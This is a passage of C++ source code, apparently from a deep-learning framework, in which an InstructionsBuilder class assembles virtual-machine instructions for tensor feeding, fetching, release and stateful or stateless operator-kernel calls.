instruction->set_parallel_desc_symbol_id(JUST(parallel_desc_symbol->symbol_id())); instruction->add_symbol_operand(JUST(job_desc_sym->symbol_id())); instruction->add_symbol_operand(JUST(op_conf_sym->symbol_id())); instruction->add_mut_operand(object_id); instruction_list_->PushBack(instruction.Mutable()); return object_id; } Maybe<void> InstructionsBuilder::InitOpNodeSignatureDescSymbol( int64_t symbol_id, const std::shared_ptr<cfg::OpNodeSignature>& op_node_signature_sym) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("InitOpNodeSignatureDescSymbol"); instruction->add_init_symbol_operand(symbol_id); instruction_list_->PushBack(instruction.Mutable()); vm::cfg::EagerSymbol eager_symbol; eager_symbol.set_symbol_id(symbol_id); eager_symbol.mutable_op_node_signature_symbol()->CopyFrom(*op_node_signature_sym); eager_symbol_list_->mutable_eager_symbol()->Add()->CopyFrom(eager_symbol); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::InitOpConfSymbol( int64_t symbol_id, const std::shared_ptr<cfg::OperatorConf>& op_conf) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("InitOperatorConfSymbol"); instruction->add_init_symbol_operand(symbol_id); instruction_list_->PushBack(instruction.Mutable()); vm::cfg::EagerSymbol eager_symbol; eager_symbol.set_symbol_id(symbol_id); eager_symbol.mutable_op_conf_symbol()->CopyFrom(*op_conf); eager_symbol_list_->mutable_eager_symbol()->Add()->CopyFrom(eager_symbol); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::InsertRemoveForeignCallbackInstruction(int64_t object_id, int64_t callback_id) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("RemoveForeignCallback"); instruction->add_mut_operand(object_id, vm::AllMirroredObject()); instruction->add_int64_operand(callback_id); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::_FetchBlob( const std::string& instruction_name, const std::shared_ptr<compatible_py::BlobObject>& blob_object, int64_t callback_id) { const std::string& device_tag = blob_object->parallel_desc_symbol()->device_tag(); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(device_tag + "." + instruction_name); instruction->set_parallel_desc_symbol_id(JUST(blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_const_operand(blob_object->object_id()); instruction->add_int64_operand(callback_id); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::FeedBlob( const std::shared_ptr<compatible_py::BlobObject>& blob_object, int64_t callback_id) { const std::string& device_tag = blob_object->parallel_desc_symbol()->device_tag(); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(device_tag + "." + "FeedBlob"); instruction->set_parallel_desc_symbol_id(JUST(blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_mut2_operand(blob_object->object_id()); instruction->add_int64_operand(callback_id); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::ReleaseTensor( const std::shared_ptr<vm::EagerBlobObject>& eager_blob_object, const std::shared_ptr<const ParallelDesc>& parallel_desc) { std::string instr_name = parallel_desc->device_tag() + ".ReleaseTensor"; ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(instr_name); LocalDepObject* compute_local_dep_object = JUST(eager_blob_object->compute_local_dep_object()); *instruction->mutable_phy_instr_operand() = std::make_shared<vm::ReleaseTensorArgPhyInstrOperand>( eager_blob_object, compute_local_dep_object); *instruction->mut_parallel_desc() = parallel_desc; instruction_list_->EmplaceBack(std::move(instruction)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::SoftSyncStream( LocalDepObject* compute_local_dep_object, const std::string& modifier, const std::shared_ptr<const ParallelDesc>& parallel_desc) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(parallel_desc->device_tag() + ".SoftSyncStream"); *instruction->mutable_phy_instr_operand() = std::make_shared<vm::SoftSyncStreamPhyInstrOperand>(compute_local_dep_object, modifier); *instruction->mut_parallel_desc() = parallel_desc; instruction_list_->EmplaceBack(std::move(instruction)); return Maybe<void>::Ok(); } namespace { const std::shared_ptr<const ParallelDesc>& GetParallelDesc( const std::shared_ptr<one::MirroredTensor> tensor) { return CHECK_JUST(tensor->device())->parallel_desc_ptr(); } const std::shared_ptr<const ParallelDesc>& GetParallelDesc( const one::EagerMirroredTensorImpl* tensor) { return tensor->device()->parallel_desc_ptr(); } } // namespace template<typename T> Maybe<void> InstructionsBuilder::SyncAccessBlobByCallback( const T tensor, const std::shared_ptr<SpinCounter>& spin_counter, std::shared_ptr<std::function<void(uint64_t)>> Callback, const std::string& modifier) { const auto& CallbackWrapper = [spin_counter, Callback](uint64_t ofblob_ptr) { (*Callback)(ofblob_ptr); CHECK_GT(Callback.use_count(), 1); // What we want to do here is dereferencing the `Callback` in scheduler thread, because we don't // want any python objects destructed in scheduler thread. const_cast<std::shared_ptr<std::function<void(uint64_t)>>*>(&Callback)->reset(); spin_counter->Decrease(); }; return AccessBlobByCallback(tensor, CallbackWrapper, modifier); } template Maybe<void> InstructionsBuilder::SyncAccessBlobByCallback( const std::shared_ptr<one::MirroredTensor> tensor, const std::shared_ptr<SpinCounter>& spin_counter, std::shared_ptr<std::function<void(uint64_t)>> callback, const std::string& modifier); template Maybe<void> InstructionsBuilder::SyncAccessBlobByCallback( const one::EagerMirroredTensorImpl* tensor, const std::shared_ptr<SpinCounter>& spin_counter, std::shared_ptr<std::function<void(uint64_t)>> callback, const std::string& modifier); template<typename T> Maybe<void> InstructionsBuilder::AccessBlobByCallback(const T tensor, const std::function<void(uint64_t)>& callback, const std::string& modifier) { const auto& parallel_desc = GetParallelDesc(tensor); std::string instr_name = parallel_desc->device_tag() + ".AccessBlobByCallback"; ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(instr_name); const std::shared_ptr<vm::EagerBlobObject>& eager_blob_object = JUST(tensor->eager_blob_object()); LocalDepObject* compute_local_dep_object = JUST(tensor->compute_local_dep_object()); *instruction->mutable_phy_instr_operand() = std::make_shared<vm::AccessBlobArgCbPhyInstrOperand>( eager_blob_object, compute_local_dep_object, callback, modifier); *instruction->mut_parallel_desc() = parallel_desc; instruction_list_->EmplaceBack(std::move(instruction)); return Maybe<void>::Ok(); } template Maybe<void> InstructionsBuilder::AccessBlobByCallback( const std::shared_ptr<one::MirroredTensor> tensor, const std::function<void(uint64_t)>& callback, const std::string& modifier); template Maybe<void> InstructionsBuilder::AccessBlobByCallback( const one::EagerMirroredTensorImpl* tensor, const std::function<void(uint64_t)>& callback, const std::string& modifier); Maybe<void> InstructionsBuilder::ComputeRankFrontSeqCallback( const std::function<void()>& callback) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("ComputeRankFrontSeqCallback"); instruction->add_int64_operand(GlobalProcessCtx::Rank()); *instruction->mutable_phy_instr_operand() = std::make_shared<vm::NoArgCbPhyInstrOperand>(callback); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::ComputeGlobalFrontSeqBarrier() { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("ComputeGlobalFrontSeqBarrier"); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::FetchBlobHeader( const std::shared_ptr<compatible_py::BlobObject>& blob_object, int64_t callback_id) { JUST(_FetchBlob("FetchBlobHeader", blob_object, callback_id)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::FetchBlobBody( const std::shared_ptr<compatible_py::BlobObject>& blob_object, int64_t callback_id) { JUST(_FetchBlob("FetchBlobBody", blob_object, callback_id)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::_TryClearObject(compatible_py::Object* blob_object) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("TryClearObject"); instruction->set_parallel_desc_symbol_id(JUST(blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_mut_operand(blob_object->object_id()); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::_DeleteObject(compatible_py::Object* blob_object) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("DeleteObject"); instruction->set_parallel_desc_symbol_id(JUST(blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_del_operand(blob_object->object_id()); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::_StatefulCallOpKernel( const std::string& instr_name, const std::shared_ptr<ParallelDesc>& parallel_desc_sym, const std::shared_ptr<compatible_py::OpKernelObject> opkernel_object, const std::shared_ptr<OpNodeSignatureDesc> op_node_signature_sym, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& const_input_operand_blob_objects, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& mutable_input_operand_blob_objects, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& mut1_operand_blob_objects, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& mut2_operand_blob_objects) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(parallel_desc_sym->device_tag() + "." + instr_name); instruction->set_parallel_desc_symbol_id(JUST(parallel_desc_sym->symbol_id())); instruction->add_mut_operand(opkernel_object->object_id()); instruction->add_symbol_operand(JUST(op_node_signature_sym->symbol_id())); instruction->add_separator(); for (const auto& pair : const_input_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : const_input_operand_blob_objects) { instruction->add_const_operand(pair.second->object_id()); } instruction->add_separator(); for (const auto& pair : mutable_input_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : mutable_input_operand_blob_objects) { instruction->add_mut_operand(pair.second->object_id()); } instruction->add_separator(); for (const auto& pair : mut1_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : mut1_operand_blob_objects) { instruction->add_mut_operand(pair.second->object_id()); } instruction->add_separator(); for (const auto& pair : mut2_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : mut2_operand_blob_objects) { instruction->add_mut2_operand(pair.second->object_id()); } instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::_StatelessCallOpKernel( const std::string& instr_name, const std::shared_ptr<ParallelDesc>& parallel_desc_sym, const std::shared_ptr<JobDesc>& job_desc_sym, const std::shared_ptr<OperatorConfSymbol>& op_conf_sym, const std::shared_ptr<OpNodeSignatureDesc>& op_node_signature_sym, const std::shared_ptr<compatible_py::Object>& shared_opkernel_obj, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& const_input_operand_blob_objects, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& mutable_input_operand_blob_objects, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& mut1_operand_blob_objects, const std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>& mut2_operand_blob_objects) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(parallel_desc_sym->device_tag() + "." + instr_name); instruction->set_parallel_desc_symbol_id(JUST(parallel_desc_sym->symbol_id())); instruction->add_symbol_operand(JUST(job_desc_sym->symbol_id())); instruction->add_symbol_operand(JUST(op_conf_sym->symbol_id())); instruction->add_symbol_operand(JUST(op_node_signature_sym->symbol_id())); instruction->add_mut_operand(shared_opkernel_obj->object_id()); instruction->add_separator(); for (const auto& pair : const_input_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : const_input_operand_blob_objects) { instruction->add_const_operand(pair.second->object_id()); } instruction->add_separator(); for (const auto& pair : mutable_input_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : mutable_input_operand_blob_objects) { instruction->add_mut_operand(pair.second->object_id()); } instruction->add_separator(); for (const auto& pair : mut1_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : mut1_operand_blob_objects) { instruction->add_mut_operand(pair.second->object_id()); } instruction->add_separator(); for (const auto& pair : mut2_operand_blob_objects) { instruction->add_symbol_operand(JUST(pair.first->symbol_id())); } for (const auto& pair : mut2_operand_blob_objects) { instruction->add_mut2_operand(pair.second->object_id()); } instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<OpNodeSignatureDesc> InstructionsBuilder::GetOpNodeSignatureSymbol( const std::shared_ptr<cfg::OpAttribute>& op_attribute) { std::shared_ptr<cfg::OpNodeSignature> op_node_signature = std::make_shared<cfg::OpNodeSignature>(); { op_node_signature->mutable_sbp_signature()->CopyFrom(op_attribute->sbp_signature()); op_node_signature->mutable_mirrored_signature()->CopyFrom(op_attribute->mirrored_signature()); op_node_signature->mutable_logical_blob_desc_signature()->CopyFrom( op_attribute->logical_blob_desc_signature()); op_node_signature->mutable_parallel_signature()->CopyFrom(op_attribute->parallel_signature()); } if (JUST(HasSymbol<cfg::OpNodeSignature>(*op_node_signature))) { return GetSymbol<cfg::OpNodeSignature, OpNodeSignatureDesc>(*op_node_signature); } int64_t symbol_id = JUST(NewSymbolId4OpNodeSignature(op_node_signature)); JUST(AddSymbol<cfg::OpNodeSignature, OpNodeSignature, OpNodeSignatureDesc>(symbol_id, *op_node_signature)); return GetSymbol<cfg::OpNodeSignature, OpNodeSignatureDesc>(*op_node_signature); } Maybe<void> InstructionsBuilder::StatefulCall( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<compatible_py::OpKernelObject>& opkernel_object, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object, const std::function<std::shared_ptr<compatible_py::BlobObject>( InstructionsBuilder*, const std::shared_ptr<compatible_py::BlobObject>&, const std::shared_ptr<compatible_py::OpArgParallelAttribute>&)>& BoxingTo) { std::shared_ptr<ParallelDesc> op_parallel_desc_sym = opkernel_object->parallel_desc_symbol(); const auto& parallel_sig = op_attribute->parallel_signature(); CHECK_OR_RETURN(parallel_sig.has_op_parallel_desc_symbol_id()); CHECK_OR_RETURN(JUST(op_parallel_desc_sym->symbol_id()) == parallel_sig.op_parallel_desc_symbol_id()); JUST(CheckRefInBlobObjectParallelDesc(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); const auto FetchDelegateBlobObject = [this, &BoxingTo]( const std::shared_ptr<compatible_py::BlobObject>& x_blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> std::shared_ptr<compatible_py::BlobObject> { return BoxingTo(this, x_blob_object, op_arg_parallel_attr); }; const auto GetDelegateBlobObject = [&FetchDelegateBlobObject]( const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> Maybe<compatible_py::BlobObject> { return CreateDelegateBlobObject(FetchDelegateBlobObject, blob_object, op_arg_parallel_attr); }; JUST(_StatefulCall(op_attribute, opkernel_object, bn_in_op2blob_object, GetDelegateBlobObject)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::StatelessCall( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<cfg::ParallelConf>& parallel_conf, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object, const std::function<std::shared_ptr<compatible_py::BlobObject>( InstructionsBuilder*, const std::shared_ptr<compatible_py::BlobObject>&, const std::shared_ptr<compatible_py::OpArgParallelAttribute>&)>& BoxingTo) { std::shared_ptr<ParallelDesc> op_parallel_desc_sym = JUST(GetParallelDescSymbol(parallel_conf)); JUST(CheckRefInBlobObjectParallelDesc(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); const auto FetchDelegateBlobObject = [this, &BoxingTo]( const std::shared_ptr<compatible_py::BlobObject>& x_blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> std::shared_ptr<compatible_py::BlobObject> { // TODO(hanbinbin): use Maybe as return after blobcache is migrated return BoxingTo(this, x_blob_object, op_arg_parallel_attr); }; const auto GetDelegateBlobObject = [&FetchDelegateBlobObject]( const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> Maybe<compatible_py::BlobObject> { return CreateDelegateBlobObject(FetchDelegateBlobObject, blob_object, op_arg_parallel_attr); }; JUST(_StatelessCall("compute", op_attribute, op_parallel_desc_sym, op_parallel_desc_sym, bn_in_op2blob_object, GetDelegateBlobObject)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::NoBoxingStatelessCall( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<cfg::ParallelConf>& parallel_conf, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object) { std::shared_ptr<ParallelDesc> op_parallel_desc_sym = JUST(GetParallelDescSymbol(parallel_conf)); JUST(CheckRefInBlobObjectParallelDesc(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); const auto FetchDelegateBlobObject = [this](const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> std::shared_ptr<compatible_py::BlobObject> { std::shared_ptr<ParallelDesc> from_pd = blob_object->parallel_desc_symbol(); std::shared_ptr<ParallelDesc> to_pd = op_arg_parallel_attr->parallel_desc_symbol(); if (*from_pd == *to_pd) { return blob_object; } CHECK(from_pd->device_tag() == "cpu"); CHECK(to_pd->device_tag() == "cpu"); CHECK(from_pd->parallel_num() == to_pd->parallel_num()); auto from_machine_ids = from_pd->machine_id2sorted_dev_phy_ids(); auto to_machine_ids = to_pd->machine_id2sorted_dev_phy_ids(); if ((from_pd->machine_id2sorted_dev_phy_ids()->size() == from_pd->parallel_num()) && (Int2IntListMapContaining(*from_machine_ids, *to_machine_ids)) && (Int2IntListMapContaining(*to_machine_ids, *from_machine_ids))) { return CHECK_JUST(BroadcastBlobReference(blob_object, to_pd)); } return CHECK_JUST(Build121To(blob_object, to_pd)); }; const auto GetDirectOr121BlobObject = [&FetchDelegateBlobObject]( const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> Maybe<compatible_py::BlobObject> { return CreateDelegateBlobObject(FetchDelegateBlobObject, blob_object, op_arg_parallel_attr); }; JUST(_StatelessCall("compute", op_attribute, op_parallel_desc_sym, op_parallel_desc_sym, bn_in_op2blob_object, GetDirectOr121BlobObject)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::NoBoxingCudaD2HStatelessCall( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<cfg::ParallelConf>& in_parallel_conf, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object, const std::function<std::shared_ptr<ParallelDesc>(InstructionsBuilder*, const std::shared_ptr<ParallelDesc>&, const std::string&)>& TryReplaceDeviceTag) { std::shared_ptr<ParallelDesc> op_parallel_desc_sym = JUST(GetParallelDescSymbol(in_parallel_conf)); std::shared_ptr<ParallelDesc> blob_parallel_desc_sym = TryReplaceDeviceTag(this, op_parallel_desc_sym, "cpu"); JUST(CheckRefInBlobObjectParallelDesc(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); const auto GetDirectBlobObject = [](const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> Maybe<compatible_py::BlobObject> { return blob_object; }; JUST(_StatelessCall("copy_d2h", op_attribute, op_parallel_desc_sym, blob_parallel_desc_sym, bn_in_op2blob_object, GetDirectBlobObject)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::NoBoxingCudaH2DStatelessCall( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<cfg::ParallelConf>& out_parallel_conf, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object) { std::shared_ptr<ParallelDesc> op_parallel_desc_sym = JUST(GetParallelDescSymbol(out_parallel_conf)); JUST(CheckRefInBlobObjectParallelDesc(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); const auto GetDirectBlobObject = [](const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> Maybe<compatible_py::BlobObject> { return blob_object; }; JUST(_StatelessCall("copy_h2d", op_attribute, op_parallel_desc_sym, op_parallel_desc_sym, bn_in_op2blob_object, GetDirectBlobObject)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::RawStatelessCall( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<cfg::ParallelConf>& parallel_conf, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object) { std::shared_ptr<ParallelDesc> op_parallel_desc_sym = JUST(GetParallelDescSymbol(parallel_conf)); JUST(CheckRefInBlobObjectParallelDesc(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); const auto GetDirectBlobObject = [](const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) -> Maybe<compatible_py::BlobObject> { return blob_object; }; JUST(_StatelessCall("compute", op_attribute, op_parallel_desc_sym, op_parallel_desc_sym, bn_in_op2blob_object, GetDirectBlobObject)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::_StatefulCall( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<compatible_py::OpKernelObject>& opkernel_object, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object, const std::function<Maybe<compatible_py::BlobObject>( const std::shared_ptr<compatible_py::BlobObject>&, const std::shared_ptr<compatible_py::OpArgParallelAttribute>&)>& GetDelegateBlobObject) { std::shared_ptr<ParallelDesc> op_parallel_desc_sym = opkernel_object->parallel_desc_symbol(); const auto DelegateBlobObject4Ibn = [&op_attribute, &bn_in_op2blob_object, &op_parallel_desc_sym, &GetDelegateBlobObject](const std::string& ibn) -> Maybe<compatible_py::BlobObject> { OpAttribute pb_op_attribute; op_attribute->ToProto(&pb_op_attribute); std::shared_ptr<compatible_py::OpArgParallelAttribute> op_arg_parallel_attr = JUST(compatible_py::GetOpArgParallelAttribute(op_parallel_desc_sym, pb_op_attribute, ibn)); return GetDelegateBlobObject(JUST(MapAt(*bn_in_op2blob_object, ibn)), op_arg_parallel_attr); }; std::shared_ptr<OpNodeSignatureDesc> op_node_signature_sym = JUST(GetOpNodeSignatureSymbol(op_attribute)); const auto& const_input_operand_blob_objects = JUST(GetConstInputOperandBlobObjects(op_attribute, DelegateBlobObject4Ibn)); const auto& mutable_input_operand_blob_objects = JUST(GetMutableInputOperandBlobObjects(op_attribute, DelegateBlobObject4Ibn)); const auto& mut1_operand_blob_objects = JUST(GetMut1OperandBlobObjects(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); const auto& mut2_operand_blob_objects = JUST(GetMut2OperandBlobObjects(op_attribute, op_parallel_desc_sym, bn_in_op2blob_object)); std::string instruction_prefix; { bool is_user_op = op_attribute->op_conf().has_user_conf(); CHECK_OR_RETURN(is_user_op); if (is_user_op) { instruction_prefix = ""; } else { instruction_prefix = "System"; } } JUST(_StatefulCallOpKernel(instruction_prefix + "CallOpKernel", op_parallel_desc_sym, opkernel_object, op_node_signature_sym, *const_input_operand_blob_objects, *mutable_input_operand_blob_objects, *mut1_operand_blob_objects, *mut2_operand_blob_objects)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::_StatelessCall( const std::string& stream_tag, const std::shared_ptr<cfg::OpAttribute>& op_attribute, std::shared_ptr<ParallelDesc> op_parallel_desc_sym, const std::shared_ptr<ParallelDesc>& blob_parallel_desc_sym, const std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>& bn_in_op2blob_object, const std::function<Maybe<compatible_py::BlobObject>( const std::shared_ptr<compatible_py::BlobObject>&, const std::shared_ptr<compatible_py::OpArgParallelAttribute>&)>& GetDelegateBlobObject) { if (op_attribute->parallel_signature().has_op_parallel_desc_symbol_id()) { int64_t symbol_id = op_attribute->parallel_signature().op_parallel_desc_symbol_id(); op_parallel_desc_sym = JUST(GetSymbol<cfg::ParallelConf, ParallelDesc>(symbol_id)); } CHECK_OR_RETURN(op_parallel_desc_sym); const auto DelegateBlobObject4Ibn = [&op_attribute, &bn_in_op2blob_object, &GetDelegateBlobObject, op_parallel_desc_sym](const std::string& ibn) -> Maybe<compatible_py::BlobObject> { OpAttribute pb_op_attribute; op_attribute->ToProto(&pb_op_attribute); std::shared_ptr<compatible_py::OpArgParallelAttribute> op_arg_parallel_attr = JUST(compatible_py::GetOpArgParallelAttribute(op_parallel_desc_sym, pb_op_attribute, ibn)); return GetDelegateBlobObject(JUST(MapAt(*bn_in_op2blob_object, ibn)), op_arg_parallel_attr); }; const auto& op_conf = op_attribute->op_conf(); CHECK_OR_RETURN(op_conf.has_scope_symbol_id()); std::shared_ptr<Scope> scope_symbol = JUST(GetSymbol<cfg::ScopeProto, Scope>(op_conf.scope_symbol_id())); std::shared_ptr<JobDesc> job_desc_sym = scope_symbol->job_desc_symbol(); std::shared_ptr<OperatorConfSymbol> op_conf_sym = JUST(GetOpConfSymbol(std::make_shared<cfg::OperatorConf>(op_conf))); std::shared_ptr<OpNodeSignatureDesc> op_node_signature_sym = JUST(GetOpNodeSignatureSymbol(op_attribute)); std::shared_ptr<compatible_py::Object> opkernel_obj = JUST(GetSharedOpKernelObject4ParallelConfSymbol(op_parallel_desc_sym)); CHECK_OR_RETURN((*opkernel_obj->parallel_desc_symbol()) == *op_parallel_desc_sym); const auto& const_input_operand_blob_objects = JUST(GetConstInputOperandBlobObjects(op_attribute, DelegateBlobObject4Ibn)); const auto& mutable_input_operand_blob_objects = JUST(GetMutableInputOperandBlobObjects(op_attribute, DelegateBlobObject4Ibn)); const auto& mut1_operand_blob_objects = JUST(GetMut1OperandBlobObjects(op_attribute, blob_parallel_desc_sym, bn_in_op2blob_object)); const auto& mut2_operand_blob_objects = JUST(GetMut2OperandBlobObjects(op_attribute, blob_parallel_desc_sym, bn_in_op2blob_object)); std::string instruction_prefix; { bool is_user_op = op_attribute->op_conf().has_user_conf(); if (is_user_op) { instruction_prefix = "User"; } else { instruction_prefix = "System"; } } JUST(_StatelessCallOpKernel( stream_tag + "." + instruction_prefix + "StatelessCallOpKernel", op_parallel_desc_sym, job_desc_sym, op_conf_sym, op_node_signature_sym, opkernel_obj, *const_input_operand_blob_objects, *mutable_input_operand_blob_objects, *mut1_operand_blob_objects, *mut2_operand_blob_objects)); return Maybe<void>::Ok(); } Maybe<compatible_py::BlobObject> InstructionsBuilder::Build121To( const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<ParallelDesc>& parallel_desc_symbol) { std::shared_ptr<compatible_py::BlobObject> ref_blob_object = JUST(MakeNewBlobObjectLike(this, blob_object, parallel_desc_symbol)); JUST(Build121AssignInstruction(ref_blob_object, blob_object)); return ref_blob_object; } Maybe<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> InstructionsBuilder::GetConstInputOperandBlobObjects( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::function<Maybe<compatible_py::BlobObject>(const std::string&)>& BlobObject4Ibn) { std::shared_ptr<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> const_input_operand_blob_objects = std::make_shared<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>>(); for (const auto& ibn : op_attribute->input_bns()) { const auto& ibn2modifier = op_attribute->arg_modifier_signature().ibn2input_blob_modifier(); if (JUST(MapAt(ibn2modifier, ibn)).is_mutable()) { continue; } std::shared_ptr<StringSymbol> ibn_sym = JUST(GetSymbol4String(ibn)); std::shared_ptr<compatible_py::BlobObject> in_object = JUST(BlobObject4Ibn(ibn)); const_input_operand_blob_objects->emplace_back(std::make_pair(ibn_sym, in_object)); } return const_input_operand_blob_objects; } Maybe<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> InstructionsBuilder::GetMutableInputOperandBlobObjects( const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::function<Maybe<compatible_py::BlobObject>(const std::string&)>& BlobObject4Ibn) { std::shared_ptr<std::vector< std::pair<std::shared_ptr<StringSymbol>, std::shared_ptr<compatible_py::BlobObject>>>> 